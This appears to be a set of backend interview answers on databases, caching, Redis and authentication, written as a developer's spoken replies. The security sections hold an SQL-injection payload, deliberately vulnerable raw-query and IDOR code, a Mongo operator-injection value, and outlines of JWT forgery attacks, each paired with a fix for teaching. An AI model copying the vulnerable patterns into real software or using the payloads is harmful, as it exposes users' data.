• Keep transactions short. The longer locks are held, the bigger the window.
• Never do network calls inside a transaction. I once saw a payment API call inside a transaction. When the provider slowed down, locks were held for seconds and deadlocks spiked.
• Index foreign keys, so updates don't lock more rows than needed.
• Retry on deadlock errors. Postgres returns 40P01. It's a normal, retryable outcome, so I retry the transaction a couple of times with a small jittered backoff.

So in practice I treat deadlocks as a signal. Occasional ones are fine with a retry, but a spike means a code path is locking in the wrong order.

So the core problem is that I can't have one transaction that covers both my database and an external service. If I commit and then the email call fails, or I send the email and then the commit fails, I end up inconsistent. And putting the network call inside the transaction just holds locks while I wait on someone else's server.

The pattern I use is the transactional outbox. In the same transaction as the business write, I insert an "event to publish" row. A separate worker reads the outbox and does the side effects.

await prisma.$transaction(async (tx) => {
  const order = await tx.order.create({ data: orderData });
  await tx.outbox.create({
    data: { type: "order.created", payload: { orderId: order.id } },
  });
});

// worker, running separately
// SELECT ... FROM outbox WHERE sent_at IS NULL
//   ORDER BY id LIMIT 50 FOR UPDATE SKIP LOCKED;
// → send email / enqueue job → UPDATE outbox SET sent_at = NOW()

What this guarantees is that the order and the intent to notify either both exist or neither does. The worker might crash after sending but before marking the row sent, so delivery is at-least-once. That means the consumers must be idempotent. For payments I pass an idempotency key, the order ID, to the provider, so a retry doesn't charge twice.

For the payment itself, I usually flip the order: create the order as pending, charge with an idempotency key, then mark it paid from the webhook. So in practice: local transaction for my data, outbox for side effects, idempotency everywhere.

Interviewers look for: "no network calls in a transaction", plus at-least-once delivery and idempotent consumers.

So my honest default is Postgres, because most business data is relational and I want joins, constraints and transactions for free. I'd pick MongoDB when the data is naturally document-shaped and read as a whole, or when the shape really varies per record.

Let me give you a concrete case. In a CMS project, every page was a tree of content blocks: hero, gallery, form, rich text, each with different fields. We always loaded and saved a page as one unit. In Postgres that's either a dozen tables or a JSON column. In Mongo it's one document, one read, one write.

I'd also push back on two myths. "Mongo is schemaless" really means the schema moved into your application code, and with Mongoose it's there anyway. And Postgres's JSONB with GIN indexes handles a lot of the "flexible fields" use case inside a relational database.

So in practice I choose based on access patterns, not hype, and I'm comfortable with both.

Interviewers look for: a reasoned answer based on data shape and access patterns, not "NoSQL scales better".

So the question I ask is: how is this data read? If the child is always read with the parent, is bounded in size, and belongs only to that parent, I embed. If it grows without limit, is shared, or is queried on its own, I reference.

Let me give you an example with an order:

{
  _id: ObjectId("..."),
  user: ObjectId("..."),                    // reference: users are shared
  shippingAddress: { city: "Pune", pin: "411001" },   // embed: belongs to this order
  items: [                                  // embed: bounded, read together
    { product: ObjectId("..."), name: "Keyboard", qty: 1, price: 2499 }
  ],
  status: "paid",
  total: 2499
}

The items embed the product name and price on purpose. That's a snapshot of what was bought, and if the product is renamed later the old order shouldn't change.

Comments on a blog post are the counter-example. They're unbounded, so I put them in their own collection with a postId and an index on it. A post with 50,000 embedded comments would get closer and closer to the 16 MB document limit, and every read of the post would drag them all along.

So in practice: "data that's accessed together is stored together", unless it grows unbounded.

So populate() is a Mongoose feature that does the join in the application. It runs the first query, collects the IDs, and runs a second query with $in. $lookup is a stage in MongoDB's aggregation pipeline that does the join on the server.

// populate: 2 queries, stitched together in Node
const orders = await Order.find({ status: "paid" })
  .populate("user", "name email")
  .lean();

// $lookup: 1 round trip, joined inside MongoDB
const orders = await Order.aggregate([
  { $match: { status: "paid" } },
  { $lookup: { from: "users", localField: "user",
               foreignField: "_id", as: "user" } },
  { $unwind: "$user" },
  { $project: { total: 1, "user.name": 1, "user.email": 1 } },
]);

What I like about populate is that it's simple and gives me hydrated Mongoose documents. It's fine for a page of results. The reason I'd pick $lookup is when I need to filter or group on the joined data, like "revenue by user country". populate can't do that, because the join happens after the query has already returned.

A small thing I always add is .lean() on read-only queries. It returns plain objects instead of full Mongoose documents, which is noticeably faster and lighter on memory for big lists.

And if I find myself doing lots of joins in Mongo, that's a signal to revisit the model and embed more.

So MongoDB indexes are B-trees just like in SQL, and compound indexes follow the same prefix logic. The rule of thumb I use is ESR: Equality fields first, then Sort fields, then Range fields.

Let me give you an example. The query is "a user's paid orders over 1,000, newest first":

db.orders.find({ user: uid, status: "paid", total: { $gt: 1000 } })
         .sort({ createdAt: -1 });

// ESR: equality (user, status) → sort (createdAt) → range (total)
db.orders.createIndex({ user: 1, status: 1, createdAt: -1, total: 1 });

The reason sort comes before range is this. If I put total before createdAt, the matching entries come out ordered by total, and Mongo has to do an in-memory sort. That's slow, and it fails outright if it exceeds the memory limit without disk use. With ESR, the index hands back rows already in createdAt order, and the range is just a filter on the way.

To check, I run .explain("executionStats") and look for IXSCAN rather than COLLSCAN, no SORT stage, and totalKeysExamined close to nReturned.

Interviewers look for: the ESR rule and reading explain(), which shows you've tuned a real Mongo workload.

So an aggregation pipeline is a sequence of stages, and each stage transforms the stream of documents from the previous one, a bit like chaining filter, map and reduce but running inside the database.

Let me give you top products by revenue for the last 30 days:

const since = new Date(Date.now() - 30 * 24 * 60 * 60 * 1000);

await Order.aggregate([
  { $match: { status: "paid", createdAt: { $gte: since } } },  // uses index
  { $unwind: "$items" },                                        // one doc per line item
  { $group: {
      _id: "$items.product",
      revenue: { $sum: { $multiply: ["$items.qty", "$items.price"] } },
      units:   { $sum: "$items.qty" },
  } },
  { $sort: { revenue: -1 } },
  { $limit: 10 },
  { $lookup: { from: "products", localField: "_id",
               foreignField: "_id", as: "product" } },
  { $project: { revenue: 1, units: 1, name: { $first: "$product.name" } } },
]);

What happens here is $match narrows it down first, which is important because only the early stages can use indexes. $unwind explodes each order into one document per line item, $group sums per product, and then I sort and limit.

Notice I do the $lookup after $limit. That way I join product names for 10 rows, not for every line item. That ordering alone made a report like this go from seconds to milliseconds in one project.

For dashboards that need several breakdowns at once, $facet runs multiple sub-pipelines over the same input in one query.

So yes, MongoDB has had multi-document ACID transactions since 4.0. They require a replica set or sharded cluster, not a standalone server. But they cost more than in Postgres, and there's a default 60-second transaction lifetime limit, so the Mongo philosophy is to design around them.

The key fact is that a single-document write is always atomic, including all the nested fields and arrays. So if I model the thing that must stay consistent as one document, I get atomicity for free:

// Atomic in one statement: check stock and reserve it, no transaction
await Product.updateOne(
  { _id: productId, stock: { $gte: qty } },
  { $inc: { stock: -qty }, $push: { reservations: { orderId, qty } } }
);
// matchedCount === 0 → not enough stock

That's the same "move the check into the write" trick as SQL. The filter and the update happen atomically on that document.

When I truly span documents, like moving credits between two wallets, I use a session:

const session = await mongoose.startSession();
await session.withTransaction(async () => {
  await Wallet.updateOne({ _id: a }, { $inc: { balance: -100 } }, { session });
  await Wallet.updateOne({ _id: b }, { $inc: { balance: 100 } }, { session });
});
session.endSession();

The gotcha I've hit is forgetting to pass { session } to one of the operations. That write then runs outside the transaction and won't roll back. withTransaction also retries automatically on transient errors, so the callback must be safe to run twice.

So in practice: design the document as the unit of consistency, and reach for transactions only for genuinely cross-document invariants.

So they're three levels of abstraction over SQL. A raw driver like pg sends SQL strings I write. A query builder like Knex or Drizzle lets me compose SQL in code, and it stays close to SQL. An ORM like Prisma, TypeORM or Mongoose maps tables to models, so I think in objects and relations and it generates the SQL.

Let me show the same query at each level:

// Raw driver
await pool.query(
  "SELECT id, name FROM users WHERE active = true ORDER BY created_at DESC LIMIT 10");

// Query builder (Drizzle)
await db.select({ id: users.id, name: users.name }).from(users)
  .where(eq(users.active, true)).orderBy(desc(users.createdAt)).limit(10);

// ORM (Prisma)
await prisma.user.findMany({
  where: { active: true }, select: { id: true, name: true },
  orderBy: { createdAt: "desc" }, take: 10,
});

The trade-off is control versus productivity. The ORM gives me type-safe results, relations and migrations out of the box, but it can hide expensive queries. The raw driver hides nothing but means lots of boilerplate and hand-mapped types.

What I do in practice is use Prisma or Drizzle for most of the CRUD in a TypeScript service, and drop to raw SQL for complex reports, window functions or bulk operations. Every serious ORM has an escape hatch for that. I don't think the choice is religious. The important part is being able to read the SQL the tool generates.

Interviewers look for: pragmatism, and a candidate who still knows SQL rather than knowing only the ORM's API.

So migrations are version control for the database schema. Each change is a file, committed with the code that needs it, and applied in order. Every environment ends up with exactly the same schema, and the database records which ones have run.

# Prisma workflow
npx prisma migrate dev --name add_user_phone   # dev: generates SQL + applies it
npx prisma migrate deploy                     # CI/prod: applies pending files only

# prisma/migrations/20260914_add_user_phone/migration.sql
ALTER TABLE "User" ADD COLUMN "phone" TEXT;

The reason I never change production by hand is that it creates drift. The next migration assumes a schema that doesn't match reality, and it fails at 2 a.m. during a deploy. Worse, nobody can rebuild the database from the repo, and staging no longer tests what production runs.

A couple of habits I follow: I review the generated SQL before committing, because an innocent-looking rename in the schema file can come out as "drop column, add column", which loses data. I run migrate deploy as its own step in the pipeline, before the new code starts. And I never edit a migration that's already been applied anywhere. I add a new one instead.

So the problem is that during a rolling deploy, old and new versions of the app run at the same time. If I just rename name to full_name, the old instances immediately start failing. So I split it into backwards-compatible steps, called expand and contract, spread over several deploys.

1. Expand: add full_name as a nullable column. Nothing reads it yet.
2. Dual write: deploy code that writes to both columns.
3. Backfill: copy existing data in batches.
4. Switch reads: deploy code that reads full_name.
5. Stop writing the old column.
6. Contract: drop name in a later migration.

-- step 3: backfill in batches, so I never lock the whole table
UPDATE users SET full_name = name
WHERE id IN (
  SELECT id FROM users WHERE full_name IS NULL LIMIT 5000
);
-- repeat until 0 rows updated

What makes it safe is that at every step, both the current and the previous version of the code work against the schema. I can roll back any single deploy.

The related gotchas are all about locks. Adding a NOT NULL column with a volatile default, or building an index on a huge table, can lock writes. In Postgres I use CREATE INDEX CONCURRENTLY, and I add a NOT NULL via a CHECK ... NOT VALID constraint, validated separately.

Interviewers look for: awareness that old and new code run together during deploys. That's the whole reason for the multi-step dance.

So yes. The ORM's normal query API parameterizes everything, but the moment I use a raw-query escape hatch with string concatenation, I'm back to square one.

Let me show it in Prisma, because the safe and unsafe versions look almost identical:

const email = req.query.email;   // attacker: ' OR '1'='1

// Safe: tagged template, values sent as parameters
await prisma.$queryRaw`SELECT * FROM "User" WHERE email = ${email}`;

// Vulnerable: string built by hand
await prisma.$queryRawUnsafe(
  `SELECT * FROM "User" WHERE email = '${email}'`);

// Also vulnerable: user input as an identifier
await prisma.$queryRawUnsafe(`SELECT * FROM "User" ORDER BY ${req.query.sort}`);

What happens in the first one is that the tagged template turns ${email} into a $1 placeholder, so the value can never become SQL. The second one pastes the string straight in.

The ORDER BY case is the one people miss. Placeholders only work for values, not column names or sort directions. So for dynamic sorting I map user input through an allowlist, like { newest: "created_at DESC", price: "price ASC" }, and reject anything else.

Mongo has its own version: operator injection. If I pass req.body.password straight into a query and the attacker sends { "$ne": null }, the check matches any password. Schema validation with Zod before the query closes that.

So every serverless function instance creates its own Prisma client with its own connection pool. Under a traffic spike, the platform might spin up 200 instances. Even at a few connections each, that's far more than Postgres allows, which is often 100 by default on managed plans.

In a long-running Node server this doesn't happen, because I have maybe four instances, each with one pool of ten connections, reused for every request. Serverless breaks that model.

There are really three things I do:

• Put a pooler in front of the database. PgBouncer in transaction mode, or the provider's built-in pooler (Supabase and Neon both give you a pooled URL), or Prisma Accelerate. Thousands of client connections get multiplexed onto a small number of real ones.
• Keep the per-instance pool tiny, like connection_limit=1 in the connection string.
• Create the client once per instance, outside the handler, so warm invocations reuse it.

// lib/db.ts: one client per process, survives hot reload in dev
const globalForPrisma = globalThis as { prisma?: PrismaClient };
export const prisma = globalForPrisma.prisma ?? new PrismaClient();
if (process.env.NODE_ENV !== "production") globalForPrisma.prisma = prisma;

The same global trick fixes the development version of this bug too, where Next.js hot reload creates a new client on every file save.

One gotcha with transaction-mode poolers is that session-level features, like some prepared statements, SET commands and advisory locks, don't carry across queries. So migrations should use the direct, unpooled URL.

So N+1 is the famous one, but there are a handful of others I watch for in code review:

• Over-fetching. findMany() with no select pulls every column, including big JSON or text blobs, for a list page that shows two fields.
• Deep includes. include: { orders: { include: { items: { include: { product: true } } } } } can explode into huge result sets or many queries. I paginate nested relations with take.
• Loops of single writes. Creating 5,000 rows one create() at a time is 5,000 round trips. createMany or a single multi-row insert is one.
• Counting via loading. (await findMany()).length instead of count().
• Filtering in JavaScript. Loading a table and calling .filter() in Node, instead of a where.
• Missing indexes the ORM can't see. The schema file makes relations easy, but it won't warn you that the foreign key column isn't indexed.

// Before: ~5,000 round trips, several seconds
for (const row of rows) await prisma.event.create({ data: row });

// After: one statement
await prisma.event.createMany({ data: rows, skipDuplicates: true });

How I find these is by turning on query logging, new PrismaClient({ log: ["query"] }), and looking at what one request actually generates. Once I see the SQL, the problem is usually obvious.

Interviewers look for: "I read the generated SQL". It shows you treat the ORM as a tool, not a black box.

So cache-aside means the application owns the caching logic. On a read, I check the cache first. On a hit I return it. On a miss I read the database, store the result in the cache with a TTL, and return it. The database stays the source of truth.

async function getProduct(id) {
  const key = `product:${id}`;
  const hit = await redis.get(key);
  if (hit) return JSON.parse(hit);

  const product = await db.product.findUnique({ where: { id } });
  if (product) await redis.set(key, JSON.stringify(product), "EX", 300);
  return product;
}

async function updateProduct(id, data) {
  const product = await db.product.update({ where: { id }, data });
  await redis.del(`product:${id}`);   // next read repopulates it
  return product;
}

What I like about it is that it's lazy, so only data that's actually requested ends up in the cache. And if Redis goes down, the app still works, just slower, because every call falls through to the database.

The TTL is my safety net. Even if I forget to invalidate somewhere, the data is at most five minutes stale.

The alternatives are write-through, where I update the cache on every write, which keeps it fresher, and write-behind, where I write to the cache and flush to the database later. That's fast but you can lose writes. In practice cache-aside with delete-on-write is my default.

Interviewers look for: the database as source of truth, a TTL, and an invalidation plan stated up front.

So I cache data that is read far more often than it changes, and that's expensive to produce. If either of those is false, the cache adds complexity and a new class of stale-data bugs for nothing.

Let me give you examples from a marketplace project:

The rule I'm strict about is private data. If I cache GET /me/orders, the key must include the user ID, like orders:user:42. Caching it under a shared key means user B sees user A's orders. That's a data breach caused by a performance optimisation.

And the order matters: I measure first. Often the right fix for a slow query is an index, not a cache, because an index has no invalidation problem.

So a stampede, or thundering herd, is when a hot key expires and hundreds of concurrent requests all miss at the same instant. They all go to the database to rebuild the same value. The database spikes, requests slow down, and it can cascade into an outage.

Let me give you a scenario. We had a homepage "trending" query that took 800 ms and was cached for 60 seconds. At peak traffic, every minute the key expired and about 300 requests ran that query simultaneously. That was visible as a sawtooth on the database CPU graph.

The fixes, from simplest up:

• Jittered TTLs, so keys cached together don't all expire together: 300 + random(0, 60).
• A rebuild lock, so only one request recomputes and the others briefly wait or serve the old value.
• Stale-while-revalidate: store a soft expiry inside the value, serve the stale data, and refresh in the background.

const got = await redis.set(`lock:${key}`, "1", "EX", 10, "NX");
if (got === "OK") {
  const fresh = await computeTrending();                  // only this request
  await redis.set(key, JSON.stringify(fresh), "EX", 60 + Math.floor(Math.random() * 15));
  await redis.del(`lock:${key}`);
  return fresh;
}
// lost the race: serve stale copy if we have one, or wait briefly and retry the GET

SET ... NX EX is atomic, so exactly one request wins, and the expiry means a crashed request can't hold the lock forever. For truly hot keys I'd refresh them from a background job and never let them expire at all.

Interviewers look for: at least two techniques, and why the lock needs an expiry.

So Redis is really an in-memory data structure server, so it shows up all over a backend. The ones I've used in production:

• Sessions shared across multiple app instances, so any server can handle any request.
• Rate limiting with atomic counters.
• Job queues: BullMQ is built on Redis.
• Pub/Sub to fan out WebSocket messages across instances. The Socket.IO Redis adapter does this.
• Leaderboards with sorted sets.
• Short-lived locks and idempotency keys with SET NX EX.

Let me give you the rate limiter, because it's a common follow-up:

async function allow(ip, limit = 100, windowSec = 60) {
  const key = `rl:${ip}:${Math.floor(Date.now() / 1000 / windowSec)}`;
  const [[, count]] = await redis.multi()
    .incr(key)
    .expire(key, windowSec)
    .exec();
  return count <= limit;
}

What happens here is each IP gets one counter per minute window. INCR is atomic, so concurrent requests on different app servers can't race. Wrapping it in MULTI means the key always gets its expiry. The weakness of a fixed window is bursts at the boundary, 100 at 0:59 and 100 at 1:00, so for stricter limits I'd use a sliding window with a sorted set, or a token bucket in a Lua script.

One practical note: Redis changed its licence in 2024, and many teams now run Valkey, the open-source fork, or a managed equivalent. The API is the same.

So it depends on the eviction policy. The default is noeviction, which means once maxmemory is hit, writes start failing with an OOM error. For a pure cache that's usually the wrong setting.

# redis.conf
maxmemory 2gb
maxmemory-policy allkeys-lru     # evict least recently used, any key

The gotcha I've hit is exactly that mixed case. We used one Redis for both the cache and BullMQ jobs, with allkeys-lru. Under memory pressure it evicted job data, and jobs silently vanished. The fix was separate instances: an evicting one for the cache, and a noeviction one for queues, with alerts on memory.

Beyond the policy, I check what's using memory. Usually it's keys without a TTL that grow forever, or huge values. redis-cli --bigkeys and MEMORY USAGE key help find them. So in practice every cache key gets a TTL, no exceptions.

So there are a few race conditions that get cache-aside wrong even when the invalidation code is there. The classic one is a slow reader repopulating the cache with old data after the writer already deleted it.

t1  Reader A: cache miss → SELECT → gets price 100 (then pauses, GC or slow network)
t2  Writer B: UPDATE price = 120 → DEL product:7
t3  Reader A: SET product:7 = {price: 100}   ← stale, and it sticks until the TTL

Other ways it happens:

• Updating the cache instead of deleting. Two concurrent writers can SET in the opposite order from their DB commits. Deleting is safer than setting.
• Invalidating before commit. If I DEL inside the transaction and a read repopulates before the commit, it caches the old row. I delete after commit.
• Read replicas. The cache is rebuilt from a replica that's lagging a few hundred milliseconds behind.
• Missed code paths. An admin script or another service updates the table directly and never touches the cache.

The mitigations I use: always keep a TTL as a backstop, delete after commit, and for the reader race, a delayed second delete ("delete, then delete again after a second"). For data that must be exact, I stop invalidating from app code and drive it from the database change stream instead, using CDC with Debezium or Postgres logical replication, so every write path triggers invalidation.

And honestly, part of the answer is product: deciding which data is allowed to be a few seconds stale, and not caching the rest.

Interviewers look for: the read/write race timeline. Being able to draw it shows real understanding of cache consistency.

So authentication is proving who you are, and authorization is deciding what you're allowed to do. Authentication answers "is this really user 42?", and authorization answers "can user 42 delete this invoice?"

They map to different status codes, which is a good way to show it:

app.delete("/invoices/:id",
  requireAuth,                      // no valid token/session → 401 Unauthorized
  async (req, res) => {
    const invoice = await Invoice.findById(req.params.id);
    if (!invoice) return res.sendStatus(404);
    if (invoice.ownerId !== req.user.id && req.user.role !== "admin") {
      return res.sendStatus(403);   // known user, not allowed → 403 Forbidden
    }
    await invoice.deleteOne();
    res.sendStatus(204);
  });

The confusing bit is that HTTP named 401 "Unauthorized" when it really means "unauthenticated". 403 is the real authorization failure.

In practice, authentication happens once in middleware for the whole app. Authorization has to happen per resource, in the handler or service layer, because it depends on the specific record. That's where the bugs live.

Interviewers look for: 401 vs 403, and authorization tied to the specific resource, not just to being logged in.

So never in plaintext, never encrypted, and never with a fast hash like MD5 or SHA-256. I use a slow, salted password hashing algorithm, argon2id or bcrypt, so that if the database leaks, cracking each password is expensive.

import bcrypt from "bcrypt";

// signup
const passwordHash = await bcrypt.hash(password, 12);   // salt is generated + embedded

// login
const user = await User.findOne({ email });
const ok = user && await bcrypt.compare(password, user.passwordHash);
if (!ok) return res.status(401).json({ error: "Invalid email or password" });

The reason speed matters: a GPU can compute billions of SHA-256 hashes per second, so a leaked table of SHA-256 hashes gets cracked fast. bcrypt at cost 12 takes around a quarter of a second per guess on a server. That's fine for one login and terrible for an attacker. Argon2id is also memory-hard, which makes GPU attacks even harder, so that's the current OWASP first choice.

The salt is a random value per password. It means two users with password123 get different hashes, and precomputed rainbow tables are useless. bcrypt handles it automatically.

And notice the login returns the same message whether the email or the password was wrong. Different messages let attackers enumerate which emails have accounts.

So BOLA, also called IDOR, is when an API checks that you're logged in but not that the specific object belongs to you. It's number one on the OWASP API Security Top 10, and honestly it's the most common real bug I've seen in code review.

// Vulnerable: any logged-in user can read any invoice by changing the ID
app.get("/invoices/:id", requireAuth, async (req, res) => {
  res.json(await prisma.invoice.findUnique({ where: { id: req.params.id } }));
});

// Fixed: ownership is part of the query itself
app.get("/invoices/:id", requireAuth, async (req, res) => {
  const invoice = await prisma.invoice.findFirst({
    where: { id: req.params.id, orgId: req.user.orgId },
  });
  if (!invoice) return res.sendStatus(404);
  res.json(invoice);
});

What I like about the fix is that scoping goes into the query. There's no separate if for someone to forget, and it can't leak data even if the check logic is wrong.

I return 404 rather than 403 here on purpose. A 403 confirms that invoice 1042 exists, which leaks information.

Structurally, the things that help are: a repository layer where every query takes the tenant or user ID, Postgres row-level security for multi-tenant apps, and non-guessable IDs like UUIDs as defence in depth. That doesn't replace the check, though. And I write tests specifically for "user A requests user B's resource".

Interviewers look for: knowing that a valid token is not authorization, and scoping queries by owner or tenant.

So RBAC, role-based access control, gives users roles like admin, editor or viewer, and roles map to permissions. ABAC, attribute-based, decides using attributes of the user, the resource and the context, like "an editor can edit documents in their own team while the document is in draft".

In practice most apps end up as RBAC plus ownership rules. Let me show how I structured it in a project:

const permissions = {
  owner:  ["project:read", "project:write", "project:delete", "member:manage"],
  editor: ["project:read", "project:write"],
  viewer: ["project:read"],
};

function can(user, action, resource) {
  if (resource.orgId !== user.orgId) return false;          // tenant boundary first
  const role = user.memberships[resource.orgId];             // role is per org
  if (!permissions[role]?.includes(action)) return false;
  if (action === "project:write" && resource.archived) return false; // attribute rule
  return true;
}

A few decisions in there matter. The role is stored per organisation, because the same person can be an owner in one workspace and a viewer in another. I check permissions like project:write in code, not role names, so adding a new role doesn't mean hunting down every if (role === "admin"). And the tenant check comes first, always.

If the rules got much more complex, like sharing individual docs with specific people, I'd look at a relationship-based model in the Google Zanzibar style, using tools like OpenFGA, or a policy library like CASL, instead of growing a pile of ifs.

So the goals are: don't reveal which emails exist, make the reset link single-use and short-lived, and make sure a leaked database doesn't leak usable reset tokens.

// POST /auth/forgot
const user = await User.findOne({ email });
if (user) {
  const token = crypto.randomBytes(32).toString("hex");
  await ResetToken.create({
    userId: user.id,
    tokenHash: crypto.createHash("sha256").update(token).digest("hex"),
    expiresAt: new Date(Date.now() + 15 * 60 * 1000),
  });
  await sendEmail(email, `https://app.com/reset?token=${token}`);
}
res.json({ message: "If that email exists, we've sent a link." });   // same response always

Walking through it: the token comes from a cryptographically secure random generator, not Math.random. I store only its hash. A fast SHA-256 is fine here because the token is 256 bits of randomness, not a guessable password. The response is identical whether or not the account exists.

On POST /auth/reset I hash the submitted token, look it up, check it isn't expired, set the new password, and then delete that token and any others for the user. Then I revoke all existing sessions and refresh tokens, because if someone is resetting, the old password may be compromised. And I send a "your password was changed" email.

Plus rate limiting on the forgot endpoint, per IP and per email, so it can't be used to spam someone's inbox.

Interviewers look for: no enumeration, hashed single-use tokens, short expiry, and revoking sessions afterwards.

So these are two different attacks. Brute force is many passwords against one account. Credential stuffing is leaked email and password pairs from other sites, tried across many accounts, often from thousands of IPs. So I need defences at several levels.

• Rate limit on two keys: per IP and per account. Per-IP alone misses a distributed botnet, and per-account alone misses one IP spraying many accounts.
• Progressive friction, not hard lockout. After a few failures on an account I add a delay or a CAPTCHA. A permanent lockout lets an attacker lock out real users on purpose.
• Breached-password checks at signup and reset, using the Have I Been Pwned k-anonymity API, so reused leaked passwords are rejected.
• MFA, TOTP or preferably passkeys. This is the single biggest win, because a correct password alone is no longer enough.
• Detection: alert on spikes in failed logins, and notify users of logins from new devices.

const ipKey  = `login:ip:${req.ip}`;
const accKey = `login:acct:${email.toLowerCase()}`;
const [ipFails, accFails] = await Promise.all([redis.get(ipKey), redis.get(accKey)]);
if (Number(ipFails) > 50 || Number(accFails) > 5) {
  return res.status(429).json({ error: "Too many attempts. Try again later." });
}
// on failure: INCR both keys with a 15-minute EXPIRE; on success: DEL accKey

A subtle one is timing. If a non-existent email returns instantly but a real one takes 250 ms for bcrypt, the timing reveals which accounts exist. So I run a bcrypt.compare against a dummy hash when the user isn't found.

Also, behind a load balancer req.ip is the proxy's IP unless I configure trust proxy correctly. Get that wrong and you rate-limit everyone as one user.

So with sessions the state lives on the server. The browser only holds a random session ID in a cookie, and on every request the server looks it up in Redis or the database. With a JWT, the state lives in the token. It carries claims like user ID and role, signed by the server, so the server just verifies the signature, with no lookup.

The trade-off people underrate is revocation. If an admin bans a user or an account is compromised, sessions let me kill access immediately. A JWT keeps working until expiry.

So in practice, for a normal web app with its own backend I actually prefer sessions in an HttpOnly cookie. They're simpler to get right, and a Redis lookup is under a millisecond. I reach for JWTs when multiple services need to verify identity independently, or for mobile clients, and then with short expiry plus refresh tokens.

Interviewers look for: revocation as the key trade-off, and a considered preference rather than "JWT is modern, so JWT".

So a JWT is three base64url-encoded parts separated by dots: a header with the algorithm, a payload with the claims, and a signature. It's signed, not encrypted. Anyone who has the token can read the payload.

Let me show you. I can decode the payload with no secret at all:

const token = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI0MiIsInJvbGUiOiJhZG1pbiJ9.sig...";
const payload = JSON.parse(
  Buffer.from(token.split(".")[1], "base64url").toString()
);
console.log(payload);   // { sub: '42', role: 'admin' }

What the signature gives me is integrity. If someone changes role to "admin", the signature no longer matches and jwt.verify rejects it. It proves the token was issued by me and not modified. It doesn't hide anything.

So the rules I follow are: never put secrets or sensitive personal data in the payload, keep it small because it goes on every request, and include standard claims: sub for the user, exp for expiry, and iss and aud so a token minted for one service can't be replayed against another.

If I genuinely needed encrypted claims, that's JWE, a different spec. But I've rarely needed it. Usually the answer is to put an ID in the token and keep the sensitive data on the server.

So a long-lived JWT is a problem because I can't revoke it. If it's stolen, the attacker has access for as long as it lives. The pattern splits that into two tokens with different jobs.

• The access token is a short-lived JWT, 5 to 15 minutes, sent on every API call and verified statelessly.
• The refresh token is long-lived, days or weeks. It's used only to get new access tokens, sent only to the refresh endpoint, and stored server-side so it can be revoked.

app.post("/auth/refresh", async (req, res) => {
  const presented = req.cookies.refresh_token;
  const stored = await RefreshToken.findOne({ tokenHash: sha256(presented) });

  if (!stored || stored.expiresAt < new Date()) return res.sendStatus(401);
  if (stored.revokedAt) {                         // reuse of an old token = theft
    await RefreshToken.updateMany({ familyId: stored.familyId }, { revokedAt: new Date() });
    return res.sendStatus(401);
  }

  await stored.updateOne({ revokedAt: new Date() });          // rotate
  const next = await issueRefreshToken(stored.userId, stored.familyId);
  res.cookie("refresh_token", next, { httpOnly: true, secure: true,
                                      sameSite: "strict", path: "/auth/refresh" });
  res.json({ accessToken: signAccess(stored.userId) });
});

The key part is rotation. Every refresh gives out a new refresh token and kills the old one. If an old one ever shows up again, either the attacker or the real user is replaying a used token, so I revoke the whole family and force a login.

So the trade-off I'm accepting is a stolen access token works for at most 15 minutes, and in exchange I get stateless verification on every request. Logout means revoking the refresh token and clearing the cookie.

Interviewers look for: refresh tokens stored server-side, rotation with reuse detection, and honesty about the access-token window.

So there's no perfect answer. Each option has a weakness, and the job is to pick one and defend it. My default is an HttpOnly cookie.

• localStorage is readable by any JavaScript on the page. One XSS bug, or one compromised npm package, and the token is sent to an attacker who can use it from anywhere, for as long as it's valid.
• An HttpOnly cookie can't be read by JavaScript at all. XSS can still make requests from the victim's browser while they're on the page, but it can't steal the token to use later. The weakness is CSRF, because the browser attaches cookies automatically.

res.cookie("session", sessionId, {
  httpOnly: true,      // no JS access
  secure: true,        // HTTPS only
  sameSite: "lax",     // not sent on cross-site POSTs → blocks most CSRF
  maxAge: 7 * 24 * 60 * 60 * 1000,
});

SameSite=Lax handles most CSRF by itself, since it's also the default in modern browsers. I add a CSRF token or an Origin header check for sensitive state-changing endpoints as defence in depth.

One pattern I've used for SPAs talking to a separate API is keeping the access token only in memory, in a JavaScript variable, and the refresh token in an HttpOnly cookie scoped to the refresh path. A page reload just calls refresh. Increasingly, though, I prefer a backend-for-frontend, where the browser only ever has a session cookie and the server holds the tokens.

So OAuth 2.0 is about authorization: letting my app access something on the user's behalf, like "read your Google Calendar". It gives me an access token for Google's APIs, but it doesn't define who the user is. OpenID Connect is a layer on top that adds authentication: an ID token, a signed JWT saying who logged in.

"Login with Google" uses the Authorization Code flow with PKCE:

1. My server creates state + code_verifier, stores them in the session,
   and redirects to Google with state + code_challenge = SHA256(code_verifier)
2. User logs in at Google and consents
3. Google redirects back: /callback?code=abc&state=xyz
4. My server checks state matches (CSRF protection)
5. My server POSTs code + code_verifier + client_secret to Google's token endpoint
6. Google returns id_token (+ access_token)
7. I verify the id_token: signature, iss, aud = my client ID, exp, nonce
8. Look up or create the user by the "sub" claim → create my own session

What makes this secure is that the code is short-lived and useless without the verifier and client secret, which never touch the browser. PKCE also stops an attacker who intercepts the code from redeeming it.

A gotcha I'd call out: I identify the user by sub, not by email. Emails can change, and linking accounts by an unverified email from a provider is a known account-takeover route.

And the implicit flow, where tokens come straight back in the URL fragment, is deprecated. In practice I use a library like Auth.js or Passport, or a provider like Clerk or Auth0, rather than hand-rolling this.

Interviewers look for: OAuth is authorization and OIDC is authentication, plus the state check and server-side code exchange.

So most JWT breaches come from how the token is verified, not from the crypto itself. The ones I check for:

• alg: none. Old libraries accepted an unsigned token if the header said so. Modern ones reject it, but only if you're on a modern version.
• Algorithm confusion. The server expects RS256 and verifies with the public key. The attacker sends an HS256 token signed with that public key as the HMAC secret. A library that trusts the header's alg will accept it. The fix is pinning the algorithm.
• Weak HMAC secrets. HS256 with a secret like "secret123" can be brute-forced offline from any single token. It needs 256+ bits of randomness.
• Decode instead of verify. Using jwt.decode() in middleware, which only parses and never checks the signature.
• Not checking aud/iss, so a token for service A works on service B.
• No expiry, or no way to revoke.

// Pin everything explicitly
const payload = jwt.verify(token, publicKey, {
  algorithms: ["RS256"],          // never trust the header's alg
  issuer: "https://auth.myapp.com",
  audience: "orders-api",
  clockTolerance: 5,
});

For multi-service setups I prefer asymmetric keys, RS256 or ES256, over HS256. Only the auth service holds the private key, and every other service verifies using the public key from a JWKS endpoint. With HS256, every service that can verify can also mint tokens, so one compromised service can impersonate anyone.

And I rotate keys using the kid header, with a JWKS that serves both the old and new key during the overlap. So in practice: a maintained library, pinned algorithms, validated claims, asymmetric keys across services.

